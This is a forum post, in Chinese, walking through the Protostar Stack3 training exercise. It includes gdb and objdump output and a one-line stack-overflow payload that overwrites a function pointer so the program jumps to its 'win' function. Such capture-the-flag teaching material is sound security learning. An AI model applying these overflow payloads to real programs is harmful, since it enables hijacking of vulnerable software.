Pwn系列之Protostar靶场 Stack3题解

打印 上一主题 下一主题

主题 571|帖子 571|积分 1713

  1. (gdb) disass main
  2. Dump of assembler code for function main:
  3. 0x08048438 <main+0>:        push   ebp
  4. 0x08048439 <main+1>:        mov    ebp,esp
  5. 0x0804843b <main+3>:        and    esp,0xfffffff0
  6. 0x0804843e <main+6>:        sub    esp,0x60
  7. 0x08048441 <main+9>:        mov    DWORD PTR [esp+0x5c],0x0
  8. 0x08048449 <main+17>:        lea    eax,[esp+0x1c]
  9. 0x0804844d <main+21>:        mov    DWORD PTR [esp],eax
  10. 0x08048450 <main+24>:        call   0x8048330 <gets@plt>
  11. 0x08048455 <main+29>:        cmp    DWORD PTR [esp+0x5c],0x0
  12. 0x0804845a <main+34>:        je     0x8048477 <main+63>
  13. 0x0804845c <main+36>:        mov    eax,0x8048560
  14. 0x08048461 <main+41>:        mov    edx,DWORD PTR [esp+0x5c]
  15. 0x08048465 <main+45>:        mov    DWORD PTR [esp+0x4],edx
  16. 0x08048469 <main+49>:        mov    DWORD PTR [esp],eax
  17. 0x0804846c <main+52>:        call   0x8048350 <printf@plt>
  18. 0x08048471 <main+57>:        mov    eax,DWORD PTR [esp+0x5c]
  19. 0x08048475 <main+61>:        call   eax
  20. 0x08048477 <main+63>:        leave  
  21. 0x08048478 <main+64>:        ret   
  22. End of assembler dump.
复制代码
这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了
这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。
  1. objdump -d stack3
  2. 08048424 <win>:
  3. 8048424:        55                           push   %ebp
  4. 8048425:        89 e5                        mov    %esp,%ebp
  5. 8048427:        83 ec 18                     sub    $0x18,%esp
  6. 804842a:        c7 04 24 40 85 04 08         movl   $0x8048540,(%esp)
  7. 8048431:        e8 2a ff ff ff               call   8048360 <puts@plt>
  8. 8048436:        c9                           leave  
  9. 8048437:        c3                           ret
复制代码
找到了win函数的地址
现在只需要修改函数指针的地址到win函数即可。
  1. payload: print 64*"a"+"\x24\x84\x04\x08"
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

傲渊山岳

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表